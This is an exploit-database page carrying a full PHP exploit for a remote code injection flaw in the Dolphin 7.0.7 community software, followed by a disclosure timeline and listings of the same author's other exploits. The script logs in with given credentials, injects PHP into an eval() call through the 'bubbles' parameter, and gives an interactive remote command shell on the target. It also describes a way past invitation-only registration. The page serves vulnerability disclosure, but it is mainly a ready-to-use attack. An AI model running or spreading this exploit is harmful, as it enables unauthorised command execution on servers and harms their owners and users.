Menu

Search for hundreds of thousands of exploits

"Dolphin 7.0.7 - 'member_menu_queries.php' Remote PHP Code Injection"

Author

Exploit author

EgiX

Platform

Exploit platform

php

Release date

Exploit published date

2011-10-18

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
<?php

/*
    ----------------------------------------------------------------------------
    Dolphin <= 7.0.7 (member_menu_queries.php) Remote PHP Code Injection Exploit
    ----------------------------------------------------------------------------
    
    author...............: EgiX
    mail.................: n0b0d13s[at]gmail[dot]com
    software link........: http://www.boonex.com/dolphin
    affected versions....: from 7.0.0 to 7.0.7
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] vulnerable code in /member_menu_queries.php
    
    61.                case 'get_bubbles_values' :
    62.                    $sBubbles = ( isset($_GET['bubbles']) ) ?  $_GET['bubbles'] : null;
    63.                    if ( $sBubbles && $iMemberId ) {
    64.    
    65.                        $aMemberInfo  = getProfileInfo($iMemberId);
    66.                        if($aMemberInfo['UserStatus'] != 'offline') {
    67.                            // update the date of last navigate;
    68.                            update_date_lastnav($iMemberId);
    69.                        }
    70.    
    71.                        $aBubbles = array();
    72.                        $aBubblesItems = explode(',', $sBubbles);
    73.    
    74.                        if ( $aBubblesItems && is_array($aBubblesItems) ) {
    75.                            $bClearCache = false;
    76.                            foreach( $aBubblesItems as $sValue)
    77.                            {
    78.                                $aItem   = explode(':', $sValue);
    79.    
    80.                                $sBubbleCode = null;
    81.                                foreach($aMenuStructure as $sKey => $aItems)
    82.                                {
    83.                                    foreach($aItems as $iKey => $aSubItems)
    84.                                    {
    85.                                        if( $aSubItems['Name'] == $aItem[0]) {
    86.                                            $sBubbleCode = $aSubItems['Bubble'];
    87.                                            break;
    88.                                        }
    89.                                    }
    90.    
    91.                                    if ($sBubbleCode) {
    92.                                        break;
    93.                                    }
    94.                                }
    95.    
    96.                                if ($sBubbleCode) {
    97.                                    $sCode  = str_replace('{iOldCount}', $aItem[1], $sBubbleCode);
    98.                                    $sCode  = str_replace('{ID}', $iMemberId, $sCode);
    99.    
    100.                                   eval($sCode);
    
    When handling 'get_bubbles_values' action, input passed through $_GET['bubbles'] isn't properly sanitized
    before being used in a call to eval() at line 100, this can be exploited to inject arbitrary PHP code.
    Successful exploitation of this vulnerability requires authentication, but is always possible to create a
    new account also if 'REGISTRATION BY INVITATION ONLY' is enabled, in this case an attacker could bypass
    the restriction visiting first /index.php?idFriend=1 and after point to /join.php for a new registration.
    
    
    [-] Disclosure timeline:
    
    [25/09/2011] - Vulnerability discovered
    [26/09/2011] - Issue reported to http://www.boonex.com/forums/topic/PHP-Code-Injection.htm
    [26/09/2011] - A moderator hide the topic
    [29/09/2011] - Vendor contacted again through http://www.boonex.com/help/contact
    [04/10/2011] - Vendor replied that there is a designated place for this kind of report: "Dolphin Bug Reports" forum
    [04/10/2011] - I replied that I've already posted in this forum, but the topic has been hidden
    [05/10/2011] - Vendor reply: "It may has been hidden because it WASN'T posted in the proper place"
    [05/10/2011] - My reply: "It has been hidden for security reason, the moderator told me to report the issue through http://www.boonex.com/help/contact"
    [08/10/2011] - Vendor replied that a patch will be released as soon as possible
    [13/10/2011] - Vendor update released: http://www.boonex.com/n/dolphin-7-0-8-beta-1
    [18/10/2011] - Public disclosure
    
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die( "\n[-] No response from {$host}:80\n");
    
    fwrite($sock, $packet);
    return stream_get_contents($sock);
}

print "\n+------------------------------------------------------------+";
print "\n| Dolphin <= 7.0.7 Remote PHP Code Injection Exploit by EgiX |";
print "\n+------------------------------------------------------------+\n";

if ($argc < 5)
{
    print "\nUsage......: php $argv[0] <host> <path> <username> <password>\n";
    print "\nExample....: php $argv[0] localhost / user pass";
    print "\nExample....: php $argv[0] localhost /dolphin/ user pass\n";
    die();
}

$host = $argv[1];
$path = $argv[2];

$payload = "ID={$argv[3]}&Password={$argv[4]}";
$packet  = "POST {$path}member.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
    
if (!preg_match("/memberID=([0-9]+).*memberPassword=([0-9a-f]+)/is", http_send($host, $packet), $m)) die("\n[-] Login failed!\n");

$phpcode = "1);error_reporting(0);passthru(base64_decode(\$_SERVER[HTTP_CMD])";
$packet  = "GET {$path}member_menu_queries.php?action=get_bubbles_values&bubbles=Friends:{$phpcode} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: memberID={$m[1]}; memberPassword={$m[2]}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
    print "\ndolphin-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    preg_match("/\r\n\r\n(.*)\{\"Friends/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
    print $m[1] : die("\n[-] Exploit failed!\n");
}

?>
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2019-10-07 "vBulletin 5.0 < 5.5.4 - 'updateAvatar' Authenticated Remote Code Execution" webapps php EgiX
2013-11-08 "Vanilla Forums 2.0 < 2.0.18.5 - 'class.utilitycontroller.php' PHP Object Injection" webapps php EgiX
2013-08-02 "vTiger CRM 5.4.0 SOAP - Multiple Vulnerabilities" webapps php EgiX
2013-04-26 "Joomla! 3.0.3 - 'remember.php' PHP Object Injection" webapps php EgiX
2013-02-27 "Joomla! 3.0.2 - 'highlight.php' PHP Object Injection" webapps php EgiX
2013-02-07 "CubeCart 5.2.0 - 'cubecart.class.php' PHP Object Injection" webapps php EgiX
2013-01-28 "DataLife Engine 9.7 - 'preview.php' PHP Code Injection" webapps php EgiX
2012-11-01 "Invision Power Board (IP.Board) 3.3.4 - 'Unserialize()' PHP Code Execution" webapps php EgiX
2012-07-04 "Tiki Wiki CMS Groupware 8.3 - 'Unserialize()' PHP Code Execution" webapps php EgiX
2012-06-23 "SugarCRM CE 6.3.1 - 'Unserialize()' PHP Code Execution" webapps php EgiX
2012-05-02 "OpenConf 4.11 - '/author/edit.php' Blind SQL Injection" webapps php EgiX
2012-04-23 "WebCalendar 1.2.4 - Remote Code Execution" webapps php EgiX
2012-03-23 "PHPFox 3.0.1 - 'ajax.php' Remote Command Execution" webapps php EgiX
2012-01-27 "vBSEO 3.6.0 - 'proc_deutf()' Remote PHP Code Injection (Metasploit)" webapps php EgiX
2012-01-23 "WordPress Plugin Kish Guest Posting 1.0 - Arbitrary File Upload" webapps php EgiX
2012-01-19 "appRain CMF 0.1.5 - 'Uploadify.php' Unrestricted Arbitrary File Upload" webapps php EgiX
2011-12-22 "Tiki Wiki CMS Groupware 8.2 - 'snarf_ajax.php' Remote PHP Code Injection" webapps php EgiX
2011-12-07 "Traq 2.3 - Authentication Bypass / Remote Code Execution" webapps php EgiX
2011-11-30 "WikkaWiki 1.3.2 - Multiple Vulnerabilities" webapps php EgiX
2011-11-23 "PmWiki 2.2.34 - 'pagelist' Remote PHP Code Injection (1)" webapps php EgiX
2011-11-19 "Support Incident Tracker 3.65 - 'translate.php' Remote Code Execution" webapps php EgiX
2011-11-16 "FreeWebShop 2.2.9 R2 - 'ajax_save_name.php' Remote Code Execution" webapps php EgiX
2011-11-13 "WordPress Plugin Zingiri 2.2.3 - 'ajax_save_name.php' Remote Code Execution" webapps php EgiX
2011-11-05 "aidiCMS 3.55 - 'ajax_create_folder.php' Remote Code Execution" webapps php EgiX
2011-11-05 "ZenPhoto 1.4.1.4 - 'ajax_create_folder.php' Remote Code Execution" webapps php EgiX
2011-11-05 "PHPMyFAQ 2.7.0 - 'ajax_create_folder.php' Remote Code Execution" webapps php EgiX
2011-11-04 "Ajax File and Image Manager 1.0 Final - Remote Code Execution" webapps php EgiX
2011-10-27 "eFront 3.6.10 (build 11944) - Multiple Vulnerabilities" webapps php EgiX
2011-10-23 "phpLDAPadmin 1.2.1.1 - Remote PHP Code Injection (1)" webapps php EgiX
2011-10-18 "Dolphin 7.0.7 - 'member_menu_queries.php' Remote PHP Code Injection" webapps php EgiX
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.